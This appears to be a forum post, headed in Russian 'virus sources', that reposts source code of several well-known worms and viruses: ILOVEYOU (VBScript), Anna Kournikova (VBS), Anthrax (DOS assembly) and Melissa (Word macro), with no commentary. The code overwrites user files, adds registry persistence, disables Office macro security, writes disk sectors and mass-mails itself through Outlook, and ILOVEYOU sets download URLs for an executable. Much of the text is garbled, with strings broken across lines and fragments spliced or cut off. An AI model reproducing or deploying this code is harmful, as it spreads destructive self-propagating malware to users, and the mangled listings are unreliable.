Исходники на вирусы:
i love you
Код:
rem barok -loveletter(vbe) <i>
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group /
Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\
Microsoft\Windows Scripting
Host\Settings\Timeout")
if (rr>=1) then
Scripting
Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\Run\MSKernel32
",dirsystem&"\MSKernel32.vbs"
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\RunServices\Wi
n32DLL",dirwin&"\Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\Software\
Microsoft\Internet
Explorer\Download Directory")
if (downread="") then
downread="c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 100000000000000000000 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\
Main\Start
Page","http://www.skyinet.net/~young1s/
HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj
w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~angelcat/
skladjflfdjghKJnwetryDGFikjUIyqwerWe
546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~koichi/jf6TRj
kcbGRpGqaq198vbFV5hfFEkbopBdQZnm
POhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~chu/
sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh
YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw
237461234iuy7thjg/WIN-BUGSFIX
.exe"
end if
end if
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\
CurrentVersion\Run\WIN-BUGSFI
X",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start
Page","about:blank"
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"\")
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct")
or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\"&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eq<folderspec>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\
Microsoft\WAB\"&malead)
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\
LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite
"HKEY_CURRENT_HOUSE\Software\Microsoft\WAB\
"&malead,1,"REG_DWORD"
end if
x=x+1
next
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\
"&a,a.AddressEntries.Count
else
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\
"&a,a.AddressEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub
sub html
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1="<HEAD><TITLE>LOVELETTER - HTML<TITLE><META>"&vbcrlf& _
"<META>"&vbcrlf& _
"<META>"&vbcrlf& _
"<TAIL>"&vbcrlf& _
"<CENTER>
This HTML file need ActiveX Control<p>
To Enable to read
this HTML file
- Please press #-#YES#-# button to EnableActiveX<p>
"&vbcrlf& _"<CENTER>
<MARQUEE>----------z--------------------z----------
<MARQUEE>"&vbcrlf& _"<BODY><HTML>"&vbcrlf& _"
<SCRIPT>"&vbcrlf& _"
<!--?-??-?"&vbcrlf& _"if (window.screen)
{var wi=screen.availWidth;varhi=screen.availHeight;
window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf& _"?-??-?-->"&vbcrlf& _"
<SCRIPT>"&vbcrlf& _"<SCRIPT>"&vbcrlf& _"
<!--"&vbcrlf& _"on error resume next"&vbcrlf& _"
dim fso,dirsystem,rea,code,code2,code3,
code4,aw,regdit"&vbcrlf& _"
aw=1"&vbcrlf& _"code="dta2="set
fso=CreateObject(@-@Scripting.
FileSystemObject@-@)"
&vbcrlf& _"set dirsystem=fso.GetSpecialFolder
(1)"&vbcrlf& _"
code2=replace(code,chr(91)&chr(45)&chr(91),
chr(39))"&vbcrlf& _"
code3=replace(code2,chr(93)&chr(45)&chr(93),
chr(34))"&vbcrlf& _"
code4=replace(code3,chr(37)&chr(45)&chr(37),
chr(92))"&vbcrlf& _"
set rea=fso.CreateTextFile(dirsystem&@-@
^-^MSKernel32.vbs@-@)"
&vbcrlf& _"wri.write code4"&vbcrlf& _"wri.close"&vbcrlf& _"
if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _"
if (err.number=424) then"&vbcrlf&
_"aw=0"&vbcrlf& _"end if"&vbcrlf& _"
if (aw=1) then"&vbcrlf& _"document.write
@-@ERROR: can#-#t initialize ActiveX@-@"
&vbcrlf& _"window.close"&vbcrlf& _"end if"&vbcrlf&
_"end if"&vbcrl& _"
Set regedit = CreateObject(@-@WScript.Shell@-@)
"&vbcrlf& _"
regedit.RegWrite@-@HKEY_LOCAL_MACHINE
^-^Software^-^Microsoft^-^Windows^-^
CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@
^-^MSKernel32.vbs@-@"&vbcrlf& _"?-??-?-->"&vbcrlf& _"
<SCRIPT>"dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")
dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")
dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")set
fso=CreateObject("Scripting.FileSystemObject")
set c=fso.OpenTextFile(WScript.ScriptFullName,1)lines=Split
(c.ReadAll,vbcrlf)l1=ubound(lines)for n=0 to ubound(lines)lines(n)=
replace(lines(n),"'",chr(91)+chr(45)+chr(91))
lines(n)=replace(lines(n),
"""",chr(93)+chr(45)+chr(93))
lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37))if
(l1=n)
thenlines(n)=chr(34)+lines(n)+chr(34)
elselines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _"
end ifnextset b=fso.CreateTextFile(dirsystem+"
\LOVE-LETTER-FOR-YOU.HTM")b.close
d=fso.OpenTextFile(dirsystem+"\
LOVE-LETTER-FOR-YOU.HTM",
2)d.write
dt5d.write join(lines,vbcrlf)d.write vbcrlfd.write dt6d.closeend sub
анна курниковаКод:
'Vbs.OnTheFly Created By OnTheFly
'On Error Resume Next
'Set E7O3tH65p4P = CreateObject("WScript.Shell")
'E7O3tH65p4P.regwrite "HKCU\software\OnTheFly\", Chr(87) & Chr(111) & Chr(114) & Chr(109) & Chr(32) & Chr(109) & Chr(97) & Chr(100) & Chr(101) & Chr(32) & Chr(119) & Chr(105) & Chr(116) & Chr(104) & Chr(32) & Chr(86) & Chr(98) & Chr(115) & Chr(119) & Chr(103) & Chr(32) & Chr(49) & Chr(46) & Chr(53) & Chr(48) & Chr(98)
'Set rOwamTjngb5= Createobject("scripting.filesystemobject")
'rOwamTjngb5.copyfile wscript.scriptfullname,rOwamTjngb5.GetSpecialFolder(0)& "\AnnaKournikova.jpg.vbs"
'if E7O3tH65p4P.regread ("HKCU\software\OnTheFly\mailed") <> "1" then
'e2nSA7HlgLC()
'end if
'if month(now) =1 and day(now) =26 then
'E7O3tH65p4P.run "Http://www.dynabyte.nl",3,false
'end if
'Set JKgSwHK773x= rOwamTjngb5.opentextfile(wscript.scriptfullname, 1)
'ZN5JKZ4xiuV= JKgSwHK773x.readall
'JKgSwHK773x.Close
'Do
'If Not (rOwamTjngb5.fileexists(wscript.scriptfullname)) Then
'Set UeI22z8P4v0= rOwamTjngb5.createtextfile(wscript.scriptfullname, True)
'UeI22z8P4v0.writeZN5JKZ4xiuV
'UeI22z8P4v0.Close
'End If
'Loop
'Function e2nSA7HlgLC()
'On Error Resume Next
'Set D23OvxM6KRH = CreateObject("Outlook.Application")
'If D23OvxM6KRH= "Outlook"Then
'Set j25tNZB9f8l=D23OvxM6KRH.GetNameSpace("MAPI")
'Set S6k211ge33L= j25tNZB9f8l.AddressLists
'For Each JR2mPsM2BmR In S6k211ge33L
'If JR2mPsM2BmR.AddressEntries.Count <0> Rock Steady [NukE]s Head Programmer! **
;** **
;**************************************************************************
.286p
DATA_1E EQU 46CH ; (0000:046C=2DH)
DATA_2E EQU 4 ; (65AC:0004=0)
DATA_3E EQU 7 ; (65AC:0007=0)
DATA_10E EQU 5FEH ; (65AC:05FE=0)
SEG_A SEGMENT BYTE PUBLIC
ASSUME CS:SEG_A, DS:SEG_A
ORG 100h
ANTHRAX PROC FAR
START:
JMP LOC_24 ; (043B)
DB 13 DUP (0)
DB 95H, 8CH, 0C8H, 2DH, 0, 0
DB 0BAH, 0, 0, 50H, 52H, 1EH
DB 33H, 0C9H, 8EH, 0D9H, 0BEH, 4CH
DB 0, 0B8H, 0CDH, 0, 8CH, 0CAH
DB 87H, 44H, 44H, 87H, 54H, 46H
DB 52H, 50H, 0C4H, 1CH, 0B4H, 13H
DB 0CDH, 2FH, 6, 53H, 0B4H, 13H
DB 0CDH, 2FH, 58H, 5AH, 87H, 4
DB 87H, 54H, 2, 52H, 50H, 51H
DB 56H, 0A0H, 3FH, 4, 0A8H, 0FH
DB 75H, 6CH, 0EH, 7, 0BAH, 80H
DB 0, 0B1H, 3, 0BBH, 77H, 6
DB 0B8H, 1, 2, 50H, 0CDH, 13H
DB 58H, 0B1H, 1, 0BBH, 0, 4
DB 0CDH, 13H, 0EH, 1FH, 0BEH, 9BH
DB 3, 8BH, 0FBH, 0B9H, 5EH, 0
DB 56H, 0F3H, 0A6H, 5EH, 8BH, 0FBH
DB 0B9H, 62H, 0, 56H, 0F3H, 0A4H
DB 5FH, 0BEH, 12H, 8, 0B9H, 65H
DB 0, 0F3H, 0A4H, 74H, 1EH, 89H
DB 4DH, 0E9H, 0B1H, 5CH, 89H, 4DH
DB 9BH, 88H, 6DH, 0DCH, 0B1H, 2
DB 33H, 0DBH, 0B8H, 2, 3, 0CDH
DB 13H, 49H, 0BBH, 0, 4, 0B8H
DB 1, 3, 0CDH, 13H, 49H, 0B4H
DB 19H, 0CDH, 21H, 50H, 0B2H, 2
DB 0B4H, 0EH, 0CDH, 21H, 0B7H, 2
DB 0E8H, 87H, 1, 5AH, 0B4H, 0EH
DB 0CDH, 21H, 5EH, 1FH, 8FH, 4
DB 8FH, 44H, 2, 8FH, 44H, 44H
DB 8FH, 44H, 46H, 1FH, 1EH, 7
DB 95H, 0CBH
copyright DB '(c) Damage, Inc.'
DB 0, 0B0H, 3, 0CFH, 6, 1EH
DB 57H, 56H, 50H, 33H, 0C0H, 8EH
DB 0D8H, 0BEH, 86H, 0, 0EH, 7
DB 0BFH, 8, 6, 0FDH, 0ADH, 0ABH
DB 0A5H, 0AFH, 87H, 0F7H, 0ADH, 0FCH
DB 74H, 11H, 1EH, 7, 0AFH, 0B8H
DB 7, 1, 0ABH, 8CH, 0C8H, 0ABH
DB 8EH, 0D8H, 0BFH, 68H, 0, 0A5H
DB 0A5H, 58H, 5EH, 5FH, 1FH, 7
DB 2EH, 0FFH, 2EH, 0, 6, 6
DB 1EH, 57H, 56H, 52H, 51H, 53H
DB 50H, 0EH, 1FH, 0BEH, 6, 6
DB 33H, 0C9H, 8EH, 0C1H, 0BFH, 84H
DB 0, 0A5H, 0A5H, 0B4H, 52H, 0CDH
DB 21H, 26H, 8BH, 47H, 0FEH, 8EH
DB 0D8H, 0BBH, 3, 0, 3, 7
DB 40H, 8EH, 0D8H, 81H, 7, 80H
DB 0, 0EH, 7, 0B7H, 12H, 0E8H
DB 0F2H, 0, 58H, 5BH, 59H, 5AH
DB 5EH, 5FH, 1FH, 7, 2EH, 0FFH
DB 2EH, 6, 6
LOC_RET_1:
RETN
DB 91H, 0AEH, 0B4H, 0A8H, 0BFH
DB 20H, 31H, 39H, 39H, 30H
ANTHRAX ENDP
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
SUB_1 PROC NEAR
MOV AX,3D00H
INT 21H ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
JC LOC_RET_1 ; Jump if carry Set
XCHG AX,BX
MOV AX,1220H
INT 2FH ; Multiplex/Spooler al=func 20h
PUSH BX
MOV BL,ES:[DI]
MOV AX,1216H
INT 2FH ; Multiplex/Spooler al=func 16h
POP BX
MOV SI,462H
MOV DX,SI
MOV CL,18H
MOV AH,3FH ; '?'
INT 21H ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
XOR AX,CX
JNZ LOC_7 ; Jump if not zero
PUSH ES
POP DS
MOV BYTE PTR [DI+2],2
XOR DX,DX ; Zero register
LOC_2:
IN AL,DX ; port 0, DMA-1 bas&add ch 0
CMP AL,10H
JB LOC_2 ; Jump if below
ADD AX,[DI+11H]
ADC DX,[DI+13H]
AND AL,0F0H
CMP AX,0FB00H
JAE LOC_7 ; Jump if above or =
MOV [DI+15H],AX
MOV [DI+17H],DX
PUSH CS
POP DS
PUSH AX
MOV CL,10H
DIV CX ; ax,dx rem=dx:ax/reg
SUB AX,[SI+8]
MOV CX,AX
SUB AX,[SI+16H]
MOV DS:DATA_2E,AX ; (65AC:0004=0)
LODSW ; String [si] to ax
XOR AX,5A4DH
JZ LOC_3 ; Jump if zero
XOR AX,1717H
LOC_3:
PUSHF ; Push flags
JNZ LOC_4 ; Jump if not zero
MOV [SI],AX
CMP AX,[SI+0AH]
XCHG AX,[SI+12H]
MOV DS:DATA_3E,AX ; (65AC:0007=0)
MOV [SI+14H],CX
MOV CX,4DCH
JZ LOC_5 ; Jump if zero
ADD WORD PTR [SI+8],48H
LOC_4:
MOV CX,65H
LOC_5:
PUSH CX
MOV CX,39BH
MOV AH,40H ; '@'
INT 21H ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
XOR CX,AX
POP CX
JNZ LOC_6 ; Jump if not zero
MOV DX,400H
MOV AH,40H ; '@'
INT 21H ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
XOR CX,AX
LOC_6:
POP DX
POP AX
LOC_7:
JNZ LOC_11 ; Jump if not zero
MOV ES:[DI+15H],CX
MOV ES:[DI+17H],CX
PUSH DX
POPF ; Pop flags
JNZ LOC_9 ; Jump if not zero
MOV AX,ES:[DI+11H]
MOV DX,ES:[DI+13H]
MOV CH,2
DIV CX ; ax,dx rem=dx:ax/reg
TEST DX,DX
JZ LOC_8 ; Jump if zero
INC AX
LOC_8:
MOV [SI],DX
MOV [SI+2],AX
JMP SHORT LOC_10 ; (0328)
LOC_9:
MOV BYTE PTR [SI-2],0E9H
ADD AX,328H
MOV [SI-1],AX
LOC_10:
MOV CX,18H
LEA DX,[SI-2] ; Load effective addr
MOV AH,40H ; '@'
INT 21H ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
LOC_11:
OR BYTE PTR ES:[DI+6],40H ; '@'
MOV AH,3EH ; '>'
LOC_12:
INT 21H ; DOS Services ah=function 3Eh
; close file, bx=file handle
RETN
SUB_1 ENDP
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
SUB_2 PROC NEAR
MOV DS,CX
MOV BL,DS:DATA_1E ; (0000:046C=34H)
PUSH CS
POP DS
INC DATA_7 ; (65AC:045E=0FC00H)
MOV DX,64BH
CALL SUB_3 ; (036D)
MOV SI,60AH
MOV BYTE PTR [SI],5CH ; '\'
INC SI
XOR DL,DL ; Zero register
MOV AH,47H ; 'G'
INT 21H ; DOS Services ah=function 47h
; get present dir,drive dl,1=a:
MOV DX,39BH
LOC_13:
MOV AH,3BH ; ';'
INT 21H ; DOS Services ah=function 3Bh
; set current dir, path @ ds:dx
JCXZ LOC_14 ; Jump if cx=0
MOV AH,51H ; 'Q'
INT 21H ; DOS Services ah=function 51h
; get active PSP segment in bx
MOV DS,BX
MOV DX,80H
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
SUB_3:
MOV AH,1AH
JMP SHORT LOC_12 ; (0339)
LOC_14:
JC LOC_17 ; Jump if carry Set
MOV SI,39CH
XOR DL,DL ; Zero register
MOV AH,47H ; 'G'
INT 21H ; DOS Services ah=function 47h
; get present dir,drive dl,1=a:
CMP CH,BYTE PTR DS:[3DCH] ; (65AC:03DC=81H)
LOC_15:
MOV CL,32H ; '2'
MOV DX,29DH
MOV AH,4EH ; 'N'
JZ LOC_20 ; Jump if zero
INT 21H ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
JC LOC_17 ; Jump if carry Set
LOC_16:
MOV DX,64BH
MOV AX,4F01H
MOV SI,3DCH
MOV DI,668H
STOSB ; Store al to es:[di]
MOV CL,0DH
REPE CMPSB ; Rep zf=1+cx >0 Cmp [si] to es:[di]
JZ LOC_20 ; Jump if zero
CMP CH,[DI-2]
JE LOC_20 ; Jump if equal
INT 21H ; DOS Services ah=function 4Fh
; find next filename match
JNC LOC_16 ; Jump if carry=0
XOR AL,AL ; Zero register
JMP SHORT LOC_15 ; (0380)
DB 2AH, 2EH, 2AH, 0
LOC_17:
MOV CL,41H ; 'A'
MOV DI,39CH
CMP CH,[DI]
MOV AL,CH
MOV BYTE PTR DS:[3DCH],AL ; (65AC:03DC=81H)
JZ LOC_23 ; Jump if zero
REPNE SCASB ; Rep zf=0+cx >0 Scan es:[di] for al
DEC DI
MOV CL,41H ; 'A'
MOV AL,5CH ; '\'
STD ; Set direction flag
REPNE SCASB ; Rep zf=0+cx >0 Scan es:[di] for al
LEA SI,[DI+2] ; Load effective addr
MOV DI,3DCH
CLD ; Clear direction
LOC_18:
LODSB ; String [si] to al
TEST AL,AL
STOSB ; Store al to es:[di]
JNZ LOC_18 ; Jump if not zero
MOV DX,2CDH
XOR CL,CL ; Zero register
JMP SHORT LOC_13 ; (035E)
DB 2EH, 2EH, 0
LOC_19:
MOV DX,64BH
MOV AH,4FH ; 'O'
LOC_20:
INT 21H ; DOS Services ah=function 4Fh
; find next filename match
JC LOC_17 ; Jump if carry Set
DATA_6 DW 69BEH
DB 6, 0BFH, 0DCH, 3, 80H, 3CH
DB 2EH, 74H, 0ECH, 88H, 2DH, 8BH
DB 0D6H, 0F6H, 44H, 0F7H, 10H, 75H
DB 0DBH
LOC_21:
LODSB ; String [si] to al
TEST AL,AL
STOSB ; Store al to es:[di]
JNZ LOC_21 ; Jump if not zero
DEC SI
STD ; Set direction flag
LODSW ; String [si] to ax
LODSW ; String [si] to ax
CLD ; Clear direction
CMP AX,4558H
JE LOC_22 ; Jump if equal
CMP AX,4D4FH
JNE LOC_19 ; Jump if not equal
LOC_22:
PUSH BX
CALL SUB_1 ; (0262)
POP BX
XOR CX,CX ; Zero register
MOV ES,CX
MOV AL,ES:DATA_1E ; (0000:046C=38H)
PUSH CS
POP ES
SUB AL,BL
CMP AL,BH
JB LOC_19 ; Jump if below
LOC_23:
MOV DX,80H
MOV CL,3
MOV BX,200H
MOV AX,301H
INT 13H ; Disk dl=drive 0: ah=func 03h
; write sectors from mem es:bx
MOV DX,60AH
JMP LOC_13 ; (035E)
SUB_2 ENDP
LOC_24:
XCHG AX,BP
MOV DI,100H
MOV BX,[DI+1]
SUB BX,228H
MOV AX,DI
LEA SI,[BX+3FDH] ; Load effective addr
MOVSW ; Mov [si] to es:[di]
MOVSB ; Mov [si] to es:[di]
XCHG AX,BX
MOV CL,4
SHR AX,CL ; Shift w/zeros fill
MOV CX,DS
ADD AX,CX
MOV DX,0BH
JMP SHORT LOC_26 ; (04CD)
DB 0B8H, 0D0H
DATA_7 DW 0FC00H
DATA_8 DW 8587H
DB 68H, 0FAH, 0ABH, 8CH, 0C8H, 0E2H
DB 0F7H, 0A3H, 86H, 0, 0ABH, 8EH
DB 0D8H, 0B4H, 8, 0CDH, 13H, 49H
DB 49H, 0A1H, 0E9H, 3, 84H, 0E4H
DB 74H, 1, 91H, 0B2H, 80H, 0B8H
DB 3, 3, 0CDH, 13H, 91H, 84H
DB 0E4H, 75H, 2
DB 2CH, 40H
LOC_25:
DEC AH
MOV DATA_6,AX ; (65AC:03E9=69BEH)
INC DATA_8 ; (65AC:0460=8587H)
XOR DH,DH ; Zero register
MOV CX,1
MOV BX,400H
MOV AX,301H
INT 13H ; Disk dl=drive ?: ah=func 03h
; write sectors from mem es:bx
MOV DL,DH
RETF ; Return far
DB 41H, 4EH, 54H, 48H, 52H, 41H
DB 58H, 0EH, 1FH, 83H, 2EH, 13H
DB 4, 2, 0CDH, 12H, 0B1H, 6
DB 0D3H, 0E0H, 8EH, 0C0H, 0BFH, 0
DB 4, 0BEH, 0, 7CH, 0B9H, 0
DB 1, 8BH, 0DEH, 0FCH, 0F3H, 0A5H
DB 8EH, 0D8H, 0BAH, 27H, 4
LOC_26:
PUSH CX
PUSH BX
PUSH AX
PUSH DX
RETF ; Return far
DB 8EH, 0C1H, 0B1H, 4, 0BEH, 0B0H
DB 5
LOCLOOP_27:
ADD SI,0EH
LODSW ; String [si] to ax
CMP AL,80H
JE LOC_29 ; Jump if equal
LOOP LOCLOOP_27 ; Loop if cx > 0
LOC_28:
INT 18H ; ROM basic
LOC_29:
XCHG AX,DX
STD ; Set direction flag
LODSW ; String [si] to ax
XCHG AX,CX
MOV AX,201H
INT 13H ; Disk dl=drive a: ah=func 02h
; read sectors to memory es:bx
CMP WORD PTR DS:DATA_10E,0AA55H ; (65AC:05FE=0)
JNE LOC_28 ; Jump if not equal
PUSH ES
PUSH DS
POP ES
POP DS
XOR DH,DH ; Zero register
MOV CX,2
XOR BX,BX ; Zero register
MOV AX,202H
INT 13H ; Disk dl=drive a: ah=func 02h
; read sectors to memory es:bx
JMP $-10FH
DB 0, 0, 0, 0, 0CDH, 20H
DB 0CCH
DB 112 DUP (1AH)
SEG_A ENDS
END START
melissaКод:
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo"
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <False> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my
letters. Game's over. I'm outta here."
End Sub